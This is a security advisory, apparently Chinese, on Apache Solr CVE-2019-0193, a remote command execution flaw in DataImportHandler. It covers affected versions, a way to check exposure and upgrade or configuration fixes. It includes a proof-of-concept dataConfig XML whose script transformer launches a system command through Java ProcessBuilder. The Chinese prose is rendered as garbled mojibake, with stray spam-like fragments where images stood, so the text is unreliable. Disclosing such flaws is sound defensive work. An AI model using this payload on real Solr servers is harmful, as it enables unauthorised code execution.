Apache SolrÔ¶³ÌºÅÁîÖ´Ðзì϶´ëÖý¨Òé

°ä²¼¹¦·ò 2019-08-08

? ·ì϶±àºÅºÍ¼¶±ð


CVE±àºÅ£º£ºCVE-2019-0193£¬Î£ÏÕ¼¶±ð£º£ºÑÏÖØ£¬CVSS·ÖÖµ£º£º¹Ù·½Î´ÆÀ¶¨


Ó°Ïì°æ±¾


ÊÜÓ°ÏìµÄ°æ±¾


ºÏÓÃÓÚSolr < 8.2.0ÇÒ¿ªÆôÁËDataImportÖ°ÄÜ¡£¡£


·ì϶¸ÅÊö


Apache SolrÊÇÃÀ¹ú°¢ÅÁÆæ£¨Apache£©Èí¼þ»ù½ð»áµÄÒ»¿î»ùÓÚLucene£¨Ò»¿îÈ«ÎÄËÑË÷ÒýÇæ£©µÄËÑË÷·þÎñÆ÷¡£¡£¸Ã²úÆ·Ö§³Ö²ãÃæËÑË÷¡¢´¹Ö±ËÑË÷¡¢¸ßÁÁÏÔʾËÑË÷Á˾ֵÈ¡£¡£


Õâ´Î·ì϶³Ê´Ë¿ÌApache SolrµÄDataImportHandler£¬¸ÃÄ£¿éÊÇÒ»¸ö¿ÉÑ¡µ«³£ÓõÄÄ£¿é£¬ÓÃÓÚ´ÓÊý¾Ý¿âºÍÆäËûÔ´ÖÐÌáÈ¡Êý¾Ý¡£¡£


¸Ã·ì϶ԴÓÚÓû§ÔÚsolrconfig.xmlÎļþÖÐÉèÖÃÁËDataImportHandler£¬¿ªÆôÁËDataImportÖ°ÄÜ¡£¡£DataImportHandlerÄ£¿éÔÊÐíÓû§×Ô¼ºÔ̺¬¾ç±¾£¬À´½øÐÐÅäÖᣡ£¹¥»÷ÕßÄܹ»Í¨¹ý»ú¹Ø¶ñÒâµÄ¾ç±¾½»ÓÉת»»Æ÷½øÐнâÎö£¬ÔÚSolr½âÎöµÄ¹ý³ÌÖв¢Î´¶ÔÓû§µÄÊäÈë×ö²é³­£¬¿Éµ¼Ö¹¥»÷ÕßÔ¶³ÌÔÚSolr·þÎñÆ÷ÉÏÖ´ÐкÅÁî¡£¡£


·ì϶ÑéÖ¤


POC:


<?xml version="1.0" encoding="UTF-8" ?>  
<dataConfig>  
<dataSource name="fromMysql"
     type="JdbcDataSource"  
     driver="com.mysql.jdbc.Driver"  
     url="jdbc:mysql://localhost:3306/mysql"  
     user="root"  
     password="123456"/>
<script ><![CDATA[
   function f2c(row) {
      var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
     return row;
   }
   ]]>
 </script>  
<document>  
 <entity name="Users" query="SELECT 1" transformer="script:f2c">
 </entity>  
</document>  
</dataConfig>


½Ó¼ûurl:http://ip:8983/solr/#/core1/dataimport//dataimport£¬´æÔÚÕâ¸öõè¾¶£¬¾ÍÖ¤Ã÷Óû§µÄsolr£¬ÓпÉѡģ¿éDataImportHandler£¬´æÔÚ·ì϶ÀûÓ÷çÏÕ¡£¡£Ïê¼ûÏÂͼ£º£º

 

OG¶«·½Ìü¡¤(Öйú´ó½)


¸Ã·ì϶ӰÏì°æ±¾Solr < 8.2.0£¬ÔÚDashboardÒ³ÃæÄܹ»²é¿´solrµÄ°æ±¾£¬Ïê¼ûÏÂͼ£º£º

 

OG¶«·½Ìü¡¤(Öйú´ó½)


ÐÞ¸´½¨Òé


½«Apache SolrÉý¼¶ÖÁ8.2.0»ò¸ü¸ßµÄ°æ±¾¡£¡£


һʱÐÞ¸´½¨Ò飺£º


1¡¢ ±à×ësolrconfig.xml£¬½«ËùÓÐЧ¹Ì¶¨ÖµÅäÖõÄDataImportHandlerÓ÷¨ÖеÄdataConfig²ÎÊýÉèÖÃΪ¿Õ×Ö·û´®£»£»

 

OG¶«·½Ìü¡¤(Öйú´ó½)


2¡¢È·±£ÍøÂçÉèÖÃÖ»ÔÊÐí¿ÉÐŵÄÁ÷Á¿ÓëSolr½øÐÐͨѶ£¬³ö¸ñÊÇÓëDIHÒªÇó´¦Ö÷¨Ê½µÄͨѶ¡£¡£


²Î¿¼Á´½Ó


https://issues.apache.org/jira/browse/SOLR-13669